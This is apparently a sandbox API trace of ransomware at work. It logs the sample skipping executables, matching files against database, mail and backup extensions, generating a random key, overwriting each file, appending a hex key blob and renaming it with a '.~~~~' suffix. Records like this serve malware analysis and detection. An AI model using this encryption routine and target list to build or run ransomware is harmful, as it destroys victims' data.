	[0144.359] RtlWakeConditionVariable () returned 0x0
	[0144.359] GetCurrentThreadId () returned 0x9f4
	[0144.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".scr") returned 0x0
	[0144.359] lstrlenW (lpString=".cmd") returned 4
	[0144.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".cmd") returned 0x0
	[0144.359] lstrlenW (lpString=".dll") returned 4
	[0144.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".dll") returned 0x0
	[0144.359] lstrlenW (lpString=".bat") returned 4
	[0144.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".bat") returned 0x0
	[0144.359] lstrlenW (lpString=".cpl") returned 4
	[0144.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".cpl") returned 0x0
	[0144.360] lstrlenW (lpString=".sys") returned 4
	[0144.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".sys") returned 0x0
	[0144.360] lstrlenW (lpString=".msc") returned 4
	[0144.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".msc") returned 0x0
	[0144.360] lstrlenW (lpString=".com") returned 4
	[0144.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".com") returned 0x0
	[0144.360] lstrlenW (lpString=".lnk") returned 4
	[0144.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".lnk") returned 0x0
	[0144.360] lstrlenW (lpString=".msp") returned 4
	[0144.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".msp") returned 0x0
	[0144.360] lstrlenW (lpString=".pif") returned 4
	[0144.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".pif") returned 0x0
	[0144.360] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0144.362] lstrlenW (lpString=".sqb") returned 4
	[0144.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".sqb") returned 0x0
	[0144.362] lstrlenW (lpString=".ost") returned 4
	[0144.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".ost") returned 0x0
	[0144.362] lstrlenW (lpString=".txt") returned 4
	[0144.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".txt") returned 0x0
	[0144.362] lstrlenW (lpString=".mdt") returned 4
	[0144.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".mdt") returned 0x0
	[0144.362] lstrlenW (lpString=".BDB") returned 4
	[0144.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".BDB") returned 0x0
	[0144.362] lstrlenW (lpString=".eql") returned 4
	[0144.362] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".eql") returned 0x0
	[0144.362] lstrlenW (lpString=".DBF") returned 4
	[0144.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".DBF") returned 0x0
	[0144.363] lstrlenW (lpString=".EQL") returned 4
	[0144.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".EQL") returned 0x0
	[0144.363] lstrlenW (lpString=".FDB") returned 4
	[0144.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".FDB") returned 0x0
	[0144.363] lstrlenW (lpString=".EDB") returned 4
	[0144.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".EDB") returned 0x0
	[0144.363] lstrlenW (lpString=".DACPAC") returned 7
	[0144.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".DACPAC") returned 0x0
	[0144.363] lstrlenW (lpString=".VHD") returned 4
	[0144.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".VHD") returned 0x0
	[0144.363] lstrlenW (lpString=".DBV") returned 4
	[0144.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".DBV") returned 0x0
	[0144.363] lstrlenW (lpString=".dacpac") returned 7
	[0144.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".dacpac") returned 0x0
	[0144.363] lstrlenW (lpString=".sdf") returned 4
	[0144.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".sdf") returned 0x0
	[0144.363] lstrlenW (lpString=".accdb") returned 6
	[0144.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".accdb") returned 0x0
	[0144.363] lstrlenW (lpString=".DBX") returned 4
	[0144.363] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".DBX") returned 0x0
	[0144.364] lstrlenW (lpString=".MDT") returned 4
	[0144.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".MDT") returned 0x0
	[0144.364] lstrlenW (lpString=".SQB") returned 4
	[0144.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".SQB") returned 0x0
	[0144.364] lstrlenW (lpString=".vhd") returned 4
	[0144.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".vhd") returned 0x0
	[0144.364] lstrlenW (lpString=".bac") returned 4
	[0144.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".bac") returned 0x0
	[0144.364] lstrlenW (lpString=".mdf") returned 4
	[0144.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".mdf") returned 0x0
	[0144.364] lstrlenW (lpString=".BAK") returned 4
	[0144.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".BAK") returned 0x0
	[0144.364] lstrlenW (lpString=".BAC") returned 4
	[0144.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".BAC") returned 0x0
	[0144.364] lstrlenW (lpString=".dbs") returned 4
	[0144.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".dbs") returned 0x0
	[0144.364] lstrlenW (lpString=".vhdx") returned 5
	[0144.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".vhdx") returned 0x0
	[0144.364] lstrlenW (lpString=".NDF") returned 4
	[0144.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".NDF") returned 0x0
	[0144.364] lstrlenW (lpString=".dat") returned 4
	[0144.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".dat") returned 0x0
	[0144.365] lstrlenW (lpString=".DBS") returned 4
	[0144.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".DBS") returned 0x0
	[0144.365] lstrlenW (lpString=".CKP") returned 4
	[0144.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".CKP") returned 0x0
	[0144.365] lstrlenW (lpString=".edb") returned 4
	[0144.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".edb") returned 0x0
	[0144.365] lstrlenW (lpString=".PST") returned 4
	[0144.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".PST") returned 0x0
	[0144.365] lstrlenW (lpString=".dbf") returned 4
	[0144.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".dbf") returned 0x0
	[0144.365] lstrlenW (lpString=".SQL") returned 4
	[0144.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".SQL") returned 0x0
	[0144.365] lstrlenW (lpString=".pst") returned 4
	[0144.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".pst") returned 0x0
	[0144.365] lstrlenW (lpString=".dbv") returned 4
	[0144.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".dbv") returned 0x0
	[0144.365] lstrlenW (lpString=".SDF") returned 4
	[0144.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".SDF") returned 0x0
	[0144.365] lstrlenW (lpString=".dtxs") returned 5
	[0144.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".dtxs") returned 0x0
	[0144.365] lstrlenW (lpString=".db3") returned 4
	[0144.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".db3") returned 0x0
	[0144.365] lstrlenW (lpString=".OST") returned 4
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".OST") returned 0x0
	[0144.366] lstrlenW (lpString=".dbx") returned 4
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".dbx") returned 0x0
	[0144.366] lstrlenW (lpString=".DB3") returned 4
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".DB3") returned 0x0
	[0144.366] lstrlenW (lpString=".DAT") returned 4
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".DAT") returned 0x0
	[0144.366] lstrlenW (lpString=".VHDX") returned 5
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".VHDX") returned 0x0
	[0144.366] lstrlenW (lpString=".ndf") returned 4
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".ndf") returned 0x0
	[0144.366] lstrlenW (lpString=".DB") returned 3
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".DB") returned 0x0
	[0144.366] lstrlenW (lpString=".sql") returned 4
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".sql") returned 0x0
	[0144.366] lstrlenW (lpString=".MYD") returned 4
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".MYD") returned 0x0
	[0144.366] lstrlenW (lpString=".DBT") returned 4
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".DBT") returned 0x0
	[0144.366] lstrlenW (lpString=".ACCDB") returned 6
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".ACCDB") returned 0x0
	[0144.366] lstrlenW (lpString=".fdb") returned 4
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".fdb") returned 0x0
	[0144.366] lstrlenW (lpString=".bak") returned 4
	[0144.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".bak") returned 0x0
	[0144.367] lstrlenW (lpString=".myd") returned 4
	[0144.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".myd") returned 0x0
	[0144.367] lstrlenW (lpString=".DTXS") returned 5
	[0144.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".DTXS") returned 0x0
	[0144.367] lstrlenW (lpString=".ckp") returned 4
	[0144.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".ckp") returned 0x0
	[0144.367] lstrlenW (lpString=".dbt") returned 4
	[0144.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".dbt") returned 0x0
	[0144.367] lstrlenW (lpString=".db") returned 3
	[0144.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".db") returned 0x0
	[0144.367] lstrlenW (lpString=".TXT") returned 4
	[0144.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".TXT") returned 0x0
	[0144.367] lstrlenW (lpString=".MDF") returned 4
	[0144.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".MDF") returned 0x0
	[0144.367] lstrlenW (lpString=".bdb") returned 4
	[0144.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".bdb") returned 0x0
	[0144.367] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0144.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.367] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395630) returned 1
	[0144.368] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.368] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0144.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0144.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0144.369] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26435888832) returned 1
	[0144.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf73cf30, dwHighDateTime=0x1d60e1e)) 
	[0144.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0144.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0144.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0144.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3a70
	[0144.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3a70 | out: hHeap=0x300000) returned 1
	[0144.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac9b0
	[0144.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac9b0 | out: hHeap=0x300000) returned 1
	[0144.370] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.370] GetLastError () returned 0x0
	[0144.370] GetLastError () returned 0x0
	[0144.370] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.370] GetLastError () returned 0x0
	[0144.370] GetLastError () returned 0x0
	[0144.370] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0xa570, lpOverlapped=0x0) returned 1
	[0144.375] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffff5a90, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.375] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xa570, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0xa570, lpOverlapped=0x0) returned 1
	[0144.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.375] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.375] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.375] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.375] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.376] CloseHandle (hObject=0x104) returned 1
	[0144.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.376] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.~~~~")) returned 1
	[0144.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0b68 | out: hHeap=0x300000) returned 1
	[0144.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0144.378] GetLastError () returned 0x0
	[0144.379] RtlWakeConditionVariable () returned 0x0
	[0144.379] GetCurrentThreadId () returned 0x9f4
	[0144.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".scr") returned 0x0
	[0144.379] lstrlenW (lpString=".cmd") returned 4
	[0144.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".cmd") returned 0x0
	[0144.379] lstrlenW (lpString=".dll") returned 4
	[0144.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".dll") returned 0x0
	[0144.379] lstrlenW (lpString=".bat") returned 4
	[0144.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".bat") returned 0x0
	[0144.379] lstrlenW (lpString=".cpl") returned 4
	[0144.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".cpl") returned 0x0
	[0144.379] lstrlenW (lpString=".sys") returned 4
	[0144.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".sys") returned 0x0
	[0144.379] lstrlenW (lpString=".msc") returned 4
	[0144.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".msc") returned 0x0
	[0144.379] lstrlenW (lpString=".com") returned 4
	[0144.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".com") returned 0x0
	[0144.379] lstrlenW (lpString=".lnk") returned 4
	[0144.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".lnk") returned 0x0
	[0144.380] lstrlenW (lpString=".msp") returned 4
	[0144.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".msp") returned 0x0
	[0144.380] lstrlenW (lpString=".pif") returned 4
	[0144.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".pif") returned 0x0
	[0144.380] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0144.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.521] lstrlenW (lpString=".sqb") returned 4
	[0144.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".sqb") returned 0x0
	[0144.521] lstrlenW (lpString=".ost") returned 4
	[0144.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".ost") returned 0x0
	[0144.521] lstrlenW (lpString=".txt") returned 4
	[0144.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".txt") returned 0x0
	[0144.521] lstrlenW (lpString=".mdt") returned 4
	[0144.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".mdt") returned 0x0
	[0144.521] lstrlenW (lpString=".BDB") returned 4
	[0144.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".BDB") returned 0x0
	[0144.521] lstrlenW (lpString=".eql") returned 4
	[0144.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".eql") returned 0x0
	[0144.521] lstrlenW (lpString=".DBF") returned 4
	[0144.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".DBF") returned 0x0
	[0144.521] lstrlenW (lpString=".EQL") returned 4
	[0144.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".EQL") returned 0x0
	[0144.521] lstrlenW (lpString=".FDB") returned 4
	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".FDB") returned 0x0
	[0144.522] lstrlenW (lpString=".EDB") returned 4
	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".EDB") returned 0x0
	[0144.522] lstrlenW (lpString=".DACPAC") returned 7
	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".DACPAC") returned 0x0
	[0144.522] lstrlenW (lpString=".VHD") returned 4
	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".VHD") returned 0x0
	[0144.522] lstrlenW (lpString=".DBV") returned 4
	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".DBV") returned 0x0
	[0144.522] lstrlenW (lpString=".dacpac") returned 7
	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".dacpac") returned 0x0
	[0144.522] lstrlenW (lpString=".sdf") returned 4
	[0144.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS", lpSrch=".sdf") returned 0x0
	[0144.522] lstrlenW (lpString=".accdb") returned 6
